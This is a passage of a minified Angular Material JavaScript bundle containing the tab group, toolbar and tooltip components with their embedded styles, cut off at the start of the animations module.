.mat-tab-labels{justify-content:flex-end}.mat-tab-label-container{display:flex;flex-grow:1;overflow:hidden;z-index:1}.mat-tab-list._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}.mat-tab-label::before{margin:5px}@media(max-width: 599px){.mat-tab-label{min-width:72px}}"],encapsulation:2}),pt})(),_t=0;class kt{}const Fe=(0,f.pj)((0,f.Kr)(class{constructor(pt){this._elementRef=pt}}),"primary");let be=(()=>{class pt extends Fe{constructor(fe,Ee,at,Se){super(fe),this._changeDetectorRef=Ee,this._animationMode=Se,this._tabs=new c.n_E,this._indexToSelect=0,this._lastFocusedTabIndex=null,this._tabBodyWrapperHeight=0,this._tabsSubscription=U.w.EMPTY,this._tabLabelSubscription=U.w.EMPTY,this._dynamicHeight=!1,this._selectedIndex=null,this.headerPosition="above",this._disablePagination=!1,this._preserveContent=!1,this.selectedIndexChange=new c.vpe,this.focusChange=new c.vpe,this.animationDone=new c.vpe,this.selectedTabChange=new c.vpe(!0),this._groupId=_t++,this.animationDuration=at&&at.animationDuration?at.animationDuration:"500ms",this.disablePagination=!(!at||null==at.disablePagination)&&at.disablePagination,this.dynamicHeight=!(!at||null==at.dynamicHeight)&&at.dynamicHeight,this.contentTabIndex=at?.contentTabIndex??null,this.preserveContent=!!at?.preserveContent}get dynamicHeight(){return this._dynamicHeight}set dynamicHeight(fe){this._dynamicHeight=(0,q.Ig)(fe)}get selectedIndex(){return this._selectedIndex}set selectedIndex(fe){this._indexToSelect=(0,q.su)(fe,null)}get animationDuration(){return this._animationDuration}set animationDuration(fe){this._animationDuration=/^\\d+$/.test(fe+"")?fe+"ms":fe}get contentTabIndex(){return this._contentTabIndex}set contentTabIndex(fe){this._contentTabIndex=(0,q.su)(fe,null)}get disablePagination(){return this._disablePagination}set disablePagination(fe){this._disablePagination=(0,q.Ig)(fe)}get preserveContent(){return this._preserveContent}set preserveContent(fe){this._preserveContent=(0,q.Ig)(fe)}get backgroundColor(){return this._backgroundColor}set backgroundColor(fe){const Ee=this._elementRef.nativeElement;Ee.classList.remove(`mat-background-${this.backgroundColor}`),fe&&Ee.classList.add(`mat-background-${fe}`),this._backgroundColor=fe}ngAfterContentChecked(){const fe=this._indexToSelect=this._clampTabIndex(this._indexToSelect);if(this._selectedIndex!=fe){const Ee=null==this._selectedIndex;if(!Ee){this.selectedTabChange.emit(this._createChangeEvent(fe));const at=this._tabBodyWrapper.nativeElement;at.style.minHeight=at.clientHeight+"px"}Promise.resolve().then(()=>{this._tabs.forEach((at,Se)=>at.isActive=Se===fe),Ee||(this.selectedIndexChange.emit(fe),this._tabBodyWrapper.nativeElement.style.minHeight="")})}this._tabs.forEach((Ee,at)=>{Ee.position=at-fe,null!=this._selectedIndex&&0==Ee.position&&!Ee.origin&&(Ee.origin=fe-this._selectedIndex)}),this._selectedIndex!==fe&&(this._selectedIndex=fe,this._lastFocusedTabIndex=null,this._changeDetectorRef.markForCheck())}ngAfterContentInit(){this._subscribeToAllTabChanges(),this._subscribeToTabLabels(),this._tabsSubscription=this._tabs.changes.subscribe(()=>{const fe=this._clampTabIndex(this._indexToSelect);if(fe===this._selectedIndex){const Ee=this._tabs.toArray();let at;for(let Se=0;Se<Ee.length;Se++)if(Ee[Se].isActive){this._indexToSelect=this._selectedIndex=Se,this._lastFocusedTabIndex=null,at=Ee[Se];break}!at&&Ee[fe]&&Promise.resolve().then(()=>{Ee[fe].isActive=!0,this.selectedTabChange.emit(this._createChangeEvent(fe))})}this._changeDetectorRef.markForCheck()})}_subscribeToAllTabChanges(){this._allTabs.changes.pipe((0,_.O)(this._allTabs)).subscribe(fe=>{this._tabs.reset(fe.filter(Ee=>Ee._closestTabGroup===this||!Ee._closestTabGroup)),this._tabs.notifyOnChanges()})}ngOnDestroy(){this._tabs.destroy(),this._tabsSubscription.unsubscribe(),this._tabLabelSubscription.unsubscribe()}realignInkBar(){this._tabHeader&&this._tabHeader._alignInkBarToSelectedTab()}updatePagination(){this._tabHeader&&this._tabHeader.updatePagination()}focusTab(fe){const Ee=this._tabHeader;Ee&&(Ee.focusIndex=fe)}_focusChanged(fe){this._lastFocusedTabIndex=fe,this.focusChange.emit(this._createChangeEvent(fe))}_createChangeEvent(fe){const Ee=new kt;return Ee.index=fe,this._tabs&&this._tabs.length&&(Ee.tab=this._tabs.toArray()[fe]),Ee}_subscribeToTabLabels(){this._tabLabelSubscription&&this._tabLabelSubscription.unsubscribe(),this._tabLabelSubscription=(0,oe.T)(...this._tabs.map(fe=>fe._stateChanges)).subscribe(()=>this._changeDetectorRef.markForCheck())}_clampTabIndex(fe){return Math.min(this._tabs.length-1,Math.max(fe||0,0))}_getTabLabelId(fe){return`mat-tab-label-${this._groupId}-${fe}`}_getTabContentId(fe){return`mat-tab-content-${this._groupId}-${fe}`}_setTabBodyWrapperHeight(fe){if(!this._dynamicHeight||!this._tabBodyWrapperHeight)return;const Ee=this._tabBodyWrapper.nativeElement;Ee.style.height=this._tabBodyWrapperHeight+"px",this._tabBodyWrapper.nativeElement.offsetHeight&&(Ee.style.height=fe+"px")}_removeTabBodyWrapperHeight(){const fe=this._tabBodyWrapper.nativeElement;this._tabBodyWrapperHeight=fe.clientHeight,fe.style.height="",this.animationDone.emit()}_handleClick(fe,Ee,at){fe.disabled||(this.selectedIndex=Ee.focusIndex=at)}_getTabIndex(fe,Ee){return fe.disabled?null:Ee===(this._lastFocusedTabIndex??this.selectedIndex)?0:-1}_tabFocusChanged(fe,Ee){fe&&"mouse"!==fe&&"touch"!==fe&&(this._tabHeader.focusIndex=Ee)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(ie,8),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{dynamicHeight:"dynamicHeight",selectedIndex:"selectedIndex",headerPosition:"headerPosition",animationDuration:"animationDuration",contentTabIndex:"contentTabIndex",disablePagination:"disablePagination",preserveContent:"preserveContent",backgroundColor:"backgroundColor"},outputs:{selectedIndexChange:"selectedIndexChange",focusChange:"focusChange",animationDone:"animationDone",selectedTabChange:"selectedTabChange"},features:[c.qOj]}),pt})(),Pe=(()=>{class pt extends be{constructor(fe,Ee,at,Se){super(fe,Ee,at,Se)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(ie,8),c.Y36(c.QbO,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-group"]],contentQueries:function(fe,Ee,at){if(1&fe&&c.Suo(at,te,5),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee._allTabs=Se)}},viewQuery:function(fe,Ee){if(1&fe&&(c.Gf(De,5),c.Gf(re,5)),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._tabBodyWrapper=at.first),c.iGM(at=c.CRH())&&(Ee._tabHeader=at.first)}},hostAttrs:[1,"mat-tab-group"],hostVars:4,hostBindings:function(fe,Ee){2&fe&&c.ekj("mat-tab-group-dynamic-height",Ee.dynamicHeight)("mat-tab-group-inverted-header","below"===Ee.headerPosition)},inputs:{color:"color",disableRipple:"disableRipple"},exportAs:["matTabGroup"],features:[c._Bn([{provide:Ie,useExisting:pt}]),c.qOj],decls:6,vars:7,consts:[[3,"selectedIndex","disableRipple","disablePagination","indexFocused","selectFocusedIndex"],["tabHeader",""],["class","mat-tab-label mat-focus-indicator","role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",3,"id","mat-tab-label-active","ngClass","disabled","matRippleDisabled","click","cdkFocusChange",4,"ngFor","ngForOf"],[1,"mat-tab-body-wrapper"],["tabBodyWrapper",""],["role","tabpanel",3,"id","mat-tab-body-active","ngClass","content","position","origin","animationDuration","preserveContent","_onCentered","_onCentering",4,"ngFor","ngForOf"],["role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",1,"mat-tab-label","mat-focus-indicator",3,"id","ngClass","disabled","matRippleDisabled","click","cdkFocusChange"],[1,"mat-tab-label-content"],[3,"ngIf","ngIfElse"],["tabTextLabel",""],[3,"cdkPortalOutlet"],["role","tabpanel",3,"id","ngClass","content","position","origin","animationDuration","preserveContent","_onCentered","_onCentering"]],template:function(fe,Ee){1&fe&&(c.TgZ(0,"mat-tab-header",0,1),c.NdJ("indexFocused",function(Se){return Ee._focusChanged(Se)})("selectFocusedIndex",function(Se){return Ee.selectedIndex=Se}),c.YNc(2,Be,5,15,"div",2),c.qZA(),c.TgZ(3,"div",3,4),c.YNc(5,pe,1,11,"mat-tab-body",5),c.qZA()),2&fe&&(c.Q6J("selectedIndex",Ee.selectedIndex||0)("disableRipple",Ee.disableRipple)("disablePagination",Ee.disablePagination),c.xp6(2),c.Q6J("ngForOf",Ee._tabs),c.xp6(1),c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode),c.xp6(2),c.Q6J("ngForOf",Ee._tabs))},dependencies:[u.mk,u.sg,u.O5,s.Pl,f.wG,n.kH,it,B,It],styles:[".mat-tab-group{display:flex;flex-direction:column;max-width:100%}.mat-tab-group.mat-tab-group-inverted-header{flex-direction:column-reverse}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}@media(max-width: 599px){.mat-tab-label{padding:0 12px}}@media(max-width: 959px){.mat-tab-label{padding:0 12px}}.mat-tab-group[mat-stretch-tabs]>.mat-tab-header .mat-tab-label{flex-basis:0;flex-grow:1}.mat-tab-body-wrapper{position:relative;overflow:hidden;display:flex;transition:height 500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-tab-body-wrapper._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-body{top:0;left:0;right:0;bottom:0;position:absolute;display:block;overflow:hidden;outline:0;flex-basis:100%}.mat-tab-body.mat-tab-body-active{position:relative;overflow-x:hidden;overflow-y:auto;z-index:1;flex-grow:1}.mat-tab-group.mat-tab-group-dynamic-height .mat-tab-body.mat-tab-body-active{overflow-y:hidden}"],encapsulation:2}),pt})(),jt=(()=>{class pt{}return pt.\\u0275fac=function(fe){return new(fe||pt)},pt.\\u0275mod=c.oAB({type:pt}),pt.\\u0275inj=c.cJS({imports:[u.ez,f.BQ,s.eL,f.si,a.Q8,n.rt,f.BQ]}),pt})()},3683:(At,ae,d)=>{"use strict";d.d(ae,{Ye:()=>S,g0:()=>C,rD:()=>_});var n=d(4650),a=d(3238),s=d(3353),u=d(6895);const c=["*",[["mat-toolbar-row"]]],f=["*","mat-toolbar-row"],E=(0,a.pj)(class{constructor(z){this._elementRef=z}});let _=(()=>{class z{}return z.\\u0275fac=function(j){return new(j||z)},z.\\u0275dir=n.lG2({type:z,selectors:[["mat-toolbar-row"]],hostAttrs:[1,"mat-toolbar-row"],exportAs:["matToolbarRow"]}),z})(),S=(()=>{class z extends E{constructor(j,U,G){super(j),this._platform=U,this._document=G}ngAfterViewInit(){this._platform.isBrowser&&(this._checkToolbarMixedModes(),this._toolbarRows.changes.subscribe(()=>this._checkToolbarMixedModes()))}_checkToolbarMixedModes(){}}return z.\\u0275fac=function(j){return new(j||z)(n.Y36(n.SBq),n.Y36(s.t4),n.Y36(u.K0))},z.\\u0275cmp=n.Xpm({type:z,selectors:[["mat-toolbar"]],contentQueries:function(j,U,G){if(1&j&&n.Suo(G,_,5),2&j){let Q;n.iGM(Q=n.CRH())&&(U._toolbarRows=Q)}},hostAttrs:[1,"mat-toolbar"],hostVars:4,hostBindings:function(j,U){2&j&&n.ekj("mat-toolbar-multiple-rows",U._toolbarRows.length>0)("mat-toolbar-single-row",0===U._toolbarRows.length)},inputs:{color:"color"},exportAs:["matToolbar"],features:[n.qOj],ngContentSelectors:f,decls:2,vars:0,template:function(j,U){1&j&&(n.F$t(c),n.Hsn(0),n.Hsn(1,1))},styles:[".cdk-high-contrast-active .mat-toolbar{outline:solid 1px}.mat-toolbar-row,.mat-toolbar-single-row{display:flex;box-sizing:border-box;padding:0 16px;width:100%;flex-direction:row;align-items:center;white-space:nowrap}.mat-toolbar-multiple-rows{display:flex;box-sizing:border-box;flex-direction:column;width:100%}"],encapsulation:2,changeDetection:0}),z})(),C=(()=>{class z{}return z.\\u0275fac=function(j){return new(j||z)},z.\\u0275mod=n.oAB({type:z}),z.\\u0275inj=n.cJS({imports:[a.BQ,a.BQ]}),z})()},266:(At,ae,d)=>{"use strict";d.d(ae,{AV:()=>qe,gM:()=>Oe});var n=d(8184),a=d(2687),s=d(6895),u=d(4650),c=d(3238),f=d(7261),E=d(445),_=d(1281),S=d(9521),g=d(2289),C=d(3353),z=d(4080),H=d(8929),j=d(7625),U=d(2986);d(7340);const Q=["tooltip"],k="tooltip-panel",K=(0,C.i$)({passive:!0}),q=new u.OlP("mat-tooltip-scroll-strategy"),ce={provide:q,deps:[n.aV],useFactory:function we(dt){return()=>dt.scrollStrategies.reposition({scrollThrottle:20})}},je=new u.OlP("mat-tooltip-default-options",{providedIn:"root",factory:function Ze(){return{showDelay:0,hideDelay:0,touchendHideDelay:1500}}});let le=(()=>{class dt{constructor(ze,De,re,ve,We,xt,Be,pe,P,w,R,X){this._overlay=ze,this._elementRef=De,this._scrollDispatcher=re,this._viewContainerRef=ve,this._ngZone=We,this._platform=xt,this._ariaDescriber=Be,this._focusMonitor=pe,this._dir=w,this._defaultOptions=R,this._position="below",this._disabled=!1,this._viewInitialized=!1,this._pointerExitEventsInitialized=!1,this._viewportMargin=8,this._cssClassPrefix="mat",this._showDelay=this._defaultOptions.showDelay,this._hideDelay=this._defaultOptions.hideDelay,this.touchGestures="auto",this._message="",this._passiveListeners=[],this._destroyed=new H.xQ,this._scrollStrategy=P,this._document=X,R&&(R.position&&(this.position=R.position),R.touchGestures&&(this.touchGestures=R.touchGestures)),w.change.pipe((0,j.R)(this._destroyed)).subscribe(()=>{this._overlayRef&&this._updatePosition(this._overlayRef)})}get position(){return this._position}set position(ze){ze!==this._position&&(this._position=ze,this._overlayRef&&(this._updatePosition(this._overlayRef),this._tooltipInstance?.show(0),this._overlayRef.updatePosition()))}get disabled(){return this._disabled}set disabled(ze){this._disabled=(0,_.Ig)(ze),this._disabled?this.hide(0):this._setupPointerEnterEventsIfNeeded()}get showDelay(){return this._showDelay}set showDelay(ze){this._showDelay=(0,_.su)(ze)}get hideDelay(){return this._hideDelay}set hideDelay(ze){this._hideDelay=(0,_.su)(ze),this._tooltipInstance&&(this._tooltipInstance._mouseLeaveHideDelay=this._hideDelay)}get message(){return this._message}set message(ze){this._ariaDescriber.removeDescription(this._elementRef.nativeElement,this._message,"tooltip"),this._message=null!=ze?String(ze).trim():"",!this._message&&this._isTooltipVisible()?this.hide(0):(this._setupPointerEnterEventsIfNeeded(),this._updateTooltipMessage(),this._ngZone.runOutsideAngular(()=>{Promise.resolve().then(()=>{this._ariaDescriber.describe(this._elementRef.nativeElement,this.message,"tooltip")})}))}get tooltipClass(){return this._tooltipClass}set tooltipClass(ze){this._tooltipClass=ze,this._tooltipInstance&&this._setTooltipClass(this._tooltipClass)}ngAfterViewInit(){this._viewInitialized=!0,this._setupPointerEnterEventsIfNeeded(),this._focusMonitor.monitor(this._elementRef).pipe((0,j.R)(this._destroyed)).subscribe(ze=>{ze?"keyboard"===ze&&this._ngZone.run(()=>this.show()):this._ngZone.run(()=>this.hide(0))})}ngOnDestroy(){const ze=this._elementRef.nativeElement;clearTimeout(this._touchstartTimeout),this._overlayRef&&(this._overlayRef.dispose(),this._tooltipInstance=null),this._passiveListeners.forEach(([De,re])=>{ze.removeEventListener(De,re,K)}),this._passiveListeners.length=0,this._destroyed.next(),this._destroyed.complete(),this._ariaDescriber.removeDescription(ze,this.message,"tooltip"),this._focusMonitor.stopMonitoring(ze)}show(ze=this.showDelay){if(this.disabled||!this.message||this._isTooltipVisible())return void this._tooltipInstance?._cancelPendingAnimations();const De=this._createOverlay();this._detach(),this._portal=this._portal||new z.C5(this._tooltipComponent,this._viewContainerRef);const re=this._tooltipInstance=De.attach(this._portal).instance;re._triggerElement=this._elementRef.nativeElement,re._mouseLeaveHideDelay=this._hideDelay,re.afterHidden().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._detach()),this._setTooltipClass(this._tooltipClass),this._updateTooltipMessage(),re.show(ze)}hide(ze=this.hideDelay){const De=this._tooltipInstance;De&&(De.isVisible()?De.hide(ze):(De._cancelPendingAnimations(),this._detach()))}toggle(){this._isTooltipVisible()?this.hide():this.show()}_isTooltipVisible(){return!!this._tooltipInstance&&this._tooltipInstance.isVisible()}_createOverlay(){if(this._overlayRef)return this._overlayRef;const ze=this._scrollDispatcher.getAncestorScrollContainers(this._elementRef),De=this._overlay.position().flexibleConnectedTo(this._elementRef).withTransformOriginOn(`.${this._cssClassPrefix}-tooltip`).withFlexibleDimensions(!1).withViewportMargin(this._viewportMargin).withScrollableContainers(ze);return De.positionChanges.pipe((0,j.R)(this._destroyed)).subscribe(re=>{this._updateCurrentPositionClass(re.connectionPair),this._tooltipInstance&&re.scrollableViewProperties.isOverlayClipped&&this._tooltipInstance.isVisible()&&this._ngZone.run(()=>this.hide(0))}),this._overlayRef=this._overlay.create({direction:this._dir,positionStrategy:De,panelClass:`${this._cssClassPrefix}-${k}`,scrollStrategy:this._scrollStrategy()}),this._updatePosition(this._overlayRef),this._overlayRef.detachments().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._detach()),this._overlayRef.outsidePointerEvents().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._tooltipInstance?._handleBodyInteraction()),this._overlayRef.keydownEvents().pipe((0,j.R)(this._destroyed)).subscribe(re=>{this._isTooltipVisible()&&re.keyCode===S.hY&&!(0,S.Vb)(re)&&(re.preventDefault(),re.stopPropagation(),this._ngZone.run(()=>this.hide(0)))}),this._defaultOptions?.disableTooltipInteractivity&&this._overlayRef.addPanelClass(`${this._cssClassPrefix}-tooltip-panel-non-interactive`),this._overlayRef}_detach(){this._overlayRef&&this._overlayRef.hasAttached()&&this._overlayRef.detach(),this._tooltipInstance=null}_updatePosition(ze){const De=ze.getConfig().positionStrategy,re=this._getOrigin(),ve=this._getOverlayPosition();De.withPositions([this._addOffset({...re.main,...ve.main}),this._addOffset({...re.fallback,...ve.fallback})])}_addOffset(ze){return ze}_getOrigin(){const ze=!this._dir||"ltr"==this._dir.value,De=this.position;let re;"above"==De||"below"==De?re={originX:"center",originY:"above"==De?"top":"bottom"}:"before"==De||"left"==De&&ze||"right"==De&&!ze?re={originX:"start",originY:"center"}:("after"==De||"right"==De&&ze||"left"==De&&!ze)&&(re={originX:"end",originY:"center"});const{x:ve,y:We}=this._invertPosition(re.originX,re.originY);return{main:re,fallback:{originX:ve,originY:We}}}_getOverlayPosition(){const ze=!this._dir||"ltr"==this._dir.value,De=this.position;let re;"above"==De?re={overlayX:"center",overlayY:"bottom"}:"below"==De?re={overlayX:"center",overlayY:"top"}:"before"==De||"left"==De&&ze||"right"==De&&!ze?re={overlayX:"end",overlayY:"center"}:("after"==De||"right"==De&&ze||"left"==De&&!ze)&&(re={overlayX:"start",overlayY:"center"});const{x:ve,y:We}=this._invertPosition(re.overlayX,re.overlayY);return{main:re,fallback:{overlayX:ve,overlayY:We}}}_updateTooltipMessage(){this._tooltipInstance&&(this._tooltipInstance.message=this.message,this._tooltipInstance._markForCheck(),this._ngZone.onMicrotaskEmpty.pipe((0,U.q)(1),(0,j.R)(this._destroyed)).subscribe(()=>{this._tooltipInstance&&this._overlayRef.updatePosition()}))}_setTooltipClass(ze){this._tooltipInstance&&(this._tooltipInstance.tooltipClass=ze,this._tooltipInstance._markForCheck())}_invertPosition(ze,De){return"above"===this.position||"below"===this.position?"top"===De?De="bottom":"bottom"===De&&(De="top"):"end"===ze?ze="start":"start"===ze&&(ze="end"),{x:ze,y:De}}_updateCurrentPositionClass(ze){const{overlayY:De,originX:re,originY:ve}=ze;let We;if(We="center"===De?this._dir&&"rtl"===this._dir.value?"end"===re?"left":"right":"start"===re?"left":"right":"bottom"===De&&"top"===ve?"above":"below",We!==this._currentPosition){const xt=this._overlayRef;if(xt){const Be=`${this._cssClassPrefix}-${k}-`;xt.removePanelClass(Be+this._currentPosition),xt.addPanelClass(Be+We)}this._currentPosition=We}}_setupPointerEnterEventsIfNeeded(){this._disabled||!this.message||!this._viewInitialized||this._passiveListeners.length||(this._platformSupportsMouseEvents()?this._passiveListeners.push(["mouseenter",()=>{this._setupPointerExitEventsIfNeeded(),this.show()}]):"off"!==this.touchGestures&&(this._disableNativeGesturesIfNecessary(),this._passiveListeners.push(["touchstart",()=>{this._setupPointerExitEventsIfNeeded(),clearTimeout(this._touchstartTimeout),this._touchstartTimeout=setTimeout(()=>this.show(),500)}])),this._addListeners(this._passiveListeners))}_setupPointerExitEventsIfNeeded(){if(this._pointerExitEventsInitialized)return;this._pointerExitEventsInitialized=!0;const ze=[];if(this._platformSupportsMouseEvents())ze.push(["mouseleave",De=>{const re=De.relatedTarget;(!re||!this._overlayRef?.overlayElement.contains(re))&&this.hide()}],["wheel",De=>this._wheelListener(De)]);else if("off"!==this.touchGestures){this._disableNativeGesturesIfNecessary();const De=()=>{clearTimeout(this._touchstartTimeout),this.hide(this._defaultOptions.touchendHideDelay)};ze.push(["touchend",De],["touchcancel",De])}this._addListeners(ze),this._passiveListeners.push(...ze)}_addListeners(ze){ze.forEach(([De,re])=>{this._elementRef.nativeElement.addEventListener(De,re,K)})}_platformSupportsMouseEvents(){return!this._platform.IOS&&!this._platform.ANDROID}_wheelListener(ze){if(this._isTooltipVisible()){const De=this._document.elementFromPoint(ze.clientX,ze.clientY),re=this._elementRef.nativeElement;De!==re&&!re.contains(De)&&this.hide()}}_disableNativeGesturesIfNecessary(){const ze=this.touchGestures;if("off"!==ze){const De=this._elementRef.nativeElement,re=De.style;("on"===ze||"INPUT"!==De.nodeName&&"TEXTAREA"!==De.nodeName)&&(re.userSelect=re.msUserSelect=re.webkitUserSelect=re.MozUserSelect="none"),("on"===ze||!De.draggable)&&(re.webkitUserDrag="none"),re.touchAction="none",re.webkitTapHighlightColor="transparent"}}}return dt.\\u0275fac=function(ze){u.$Z()},dt.\\u0275dir=u.lG2({type:dt,inputs:{position:["matTooltipPosition","position"],disabled:["matTooltipDisabled","disabled"],showDelay:["matTooltipShowDelay","showDelay"],hideDelay:["matTooltipHideDelay","hideDelay"],touchGestures:["matTooltipTouchGestures","touchGestures"],message:["matTooltip","message"],tooltipClass:["matTooltipClass","tooltipClass"]}}),dt})(),Oe=(()=>{class dt extends le{constructor(ze,De,re,ve,We,xt,Be,pe,P,w,R,X){super(ze,De,re,ve,We,xt,Be,pe,P,w,R,X),this._tooltipComponent=Ye}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(n.aV),u.Y36(u.SBq),u.Y36(f.mF),u.Y36(u.s_b),u.Y36(u.R0b),u.Y36(C.t4),u.Y36(a.$s),u.Y36(a.tE),u.Y36(q),u.Y36(E.Is,8),u.Y36(je,8),u.Y36(s.K0))},dt.\\u0275dir=u.lG2({type:dt,selectors:[["","matTooltip",""]],hostAttrs:[1,"mat-tooltip-trigger"],exportAs:["matTooltip"],features:[u.qOj]}),dt})(),Qe=(()=>{class dt{constructor(ze,De){this._changeDetectorRef=ze,this._closeOnInteraction=!1,this._isVisible=!1,this._onHide=new H.xQ,this._animationsDisabled="NoopAnimations"===De}show(ze){clearTimeout(this._hideTimeoutId),this._showTimeoutId=setTimeout(()=>{this._toggleVisibility(!0),this._showTimeoutId=void 0},ze)}hide(ze){clearTimeout(this._showTimeoutId),this._hideTimeoutId=setTimeout(()=>{this._toggleVisibility(!1),this._hideTimeoutId=void 0},ze)}afterHidden(){return this._onHide}isVisible(){return this._isVisible}ngOnDestroy(){this._cancelPendingAnimations(),this._onHide.complete(),this._triggerElement=null}_handleBodyInteraction(){this._closeOnInteraction&&this.hide(0)}_markForCheck(){this._changeDetectorRef.markForCheck()}_handleMouseLeave({relatedTarget:ze}){(!ze||!this._triggerElement.contains(ze))&&(this.isVisible()?this.hide(this._mouseLeaveHideDelay):this._finalizeAnimation(!1))}_onShow(){}_handleAnimationEnd({animationName:ze}){(ze===this._showAnimation||ze===this._hideAnimation)&&this._finalizeAnimation(ze===this._showAnimation)}_cancelPendingAnimations(){clearTimeout(this._showTimeoutId),clearTimeout(this._hideTimeoutId),this._showTimeoutId=this._hideTimeoutId=void 0}_finalizeAnimation(ze){ze?this._closeOnInteraction=!0:this.isVisible()||this._onHide.next()}_toggleVisibility(ze){const De=this._tooltip.nativeElement,re=this._showAnimation,ve=this._hideAnimation;if(De.classList.remove(ze?ve:re),De.classList.add(ze?re:ve),this._isVisible=ze,ze&&!this._animationsDisabled&&"function"==typeof getComputedStyle){const We=getComputedStyle(De);("0s"===We.getPropertyValue("animation-duration")||"none"===We.getPropertyValue("animation-name"))&&(this._animationsDisabled=!0)}ze&&this._onShow(),this._animationsDisabled&&(De.classList.add("_mat-animation-noopable"),this._finalizeAnimation(ze))}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(u.sBO),u.Y36(u.QbO,8))},dt.\\u0275dir=u.lG2({type:dt}),dt})(),Ye=(()=>{class dt extends Qe{constructor(ze,De,re){super(ze,re),this._breakpointObserver=De,this._isHandset=this._breakpointObserver.observe(g.u3.Handset),this._showAnimation="mat-tooltip-show",this._hideAnimation="mat-tooltip-hide"}}return dt.\\u0275fac=function(ze){return new(ze||dt)(u.Y36(u.sBO),u.Y36(g.Yg),u.Y36(u.QbO,8))},dt.\\u0275cmp=u.Xpm({type:dt,selectors:[["mat-tooltip-component"]],viewQuery:function(ze,De){if(1&ze&&u.Gf(Q,7),2&ze){let re;u.iGM(re=u.CRH())&&(De._tooltip=re.first)}},hostAttrs:["aria-hidden","true"],hostVars:2,hostBindings:function(ze,De){1&ze&&u.NdJ("mouseleave",function(ve){return De._handleMouseLeave(ve)}),2&ze&&u.Udp("zoom",De.isVisible()?1:null)},features:[u.qOj],decls:4,vars:6,consts:[[1,"mat-tooltip",3,"ngClass","animationend"],["tooltip",""]],template:function(ze,De){if(1&ze&&(u.TgZ(0,"div",0,1),u.NdJ("animationend",function(ve){return De._handleAnimationEnd(ve)}),u.ALo(2,"async"),u._uU(3),u.qZA()),2&ze){let re;u.ekj("mat-tooltip-handset",null==(re=u.lcZ(2,4,De._isHandset))?null:re.matches),u.Q6J("ngClass",De.tooltipClass),u.xp6(3),u.Oqu(De.message)}},dependencies:[s.mk,s.Ov],styles:[".mat-tooltip{color:#fff;border-radius:4px;margin:14px;max-width:250px;padding-left:8px;padding-right:8px;overflow:hidden;text-overflow:ellipsis;transform:scale(0)}.mat-tooltip._mat-animation-noopable{animation:none;transform:scale(1)}.cdk-high-contrast-active .mat-tooltip{outline:solid 1px}.mat-tooltip-handset{margin:24px;padding-left:16px;padding-right:16px}.mat-tooltip-panel-non-interactive{pointer-events:none}@keyframes mat-tooltip-show{0%{opacity:0;transform:scale(0)}50%{opacity:.5;transform:scale(0.99)}100%{opacity:1;transform:scale(1)}}@keyframes mat-tooltip-hide{0%{opacity:1;transform:scale(1)}100%{opacity:0;transform:scale(1)}}.mat-tooltip-show{animation:mat-tooltip-show 200ms cubic-bezier(0, 0, 0.2, 1) forwards}.mat-tooltip-hide{animation:mat-tooltip-hide 100ms cubic-bezier(0, 0, 0.2, 1) forwards}"],encapsulation:2,changeDetection:0}),dt})(),qe=(()=>{class dt{}return dt.\\u0275fac=function(ze){return new(ze||dt)},dt.\\u0275mod=u.oAB({type:dt}),dt.\\u0275inj=u.cJS({providers:[ce],imports:[a.rt,s.ez,n.U8,c.BQ,c.BQ,f.ZD]}),dt})()},8746:(At,ae,d)=>{"use strict";d.d(ae,{PW:()=>Yn});var n=d(4650),a=d(1481),s=d(7340);function c(Te){return new n.vHH(3e3,!1)}function xt(){return typeof window<"u"&&typeof window.document<"u"}function Be(){return typeof process<"u"&&"[object process]"==={}.toString.call(process)}function pe(Te){switch(Te.length){case 0:return new s.ZN;case 1:return Te[0];default:return new s.ZE(Te)}}function P(Te,y,D,Z,Le=new Map,rt=new Map){const yt=[],Mt=[];let Ft=-1,Ut=null;if(Z.forEach(o1=>{const l1=o1.get("offset"),F1=l1==Ft,A1=F1&&Ut||new Map;o1.forEach((C1,S1)=>{let Q1=S1,tn=C1;if("offset"!==S1)switch(Q1=y.normalizePropertyName(Q1,yt),tn){case s.k1:tn=Le.get(S1);break;case s.l3:tn=rt.get(S1);break;default:tn=y.normalizeStyleValue(S1,Q1,tn,yt)}A1.set(Q1,tn)}),F1||Mt.push(A1),Ut=A1,Ft=l1}),yt.length)throw function le(Te){return new n.vHH(3502,!1)}();return Mt}function 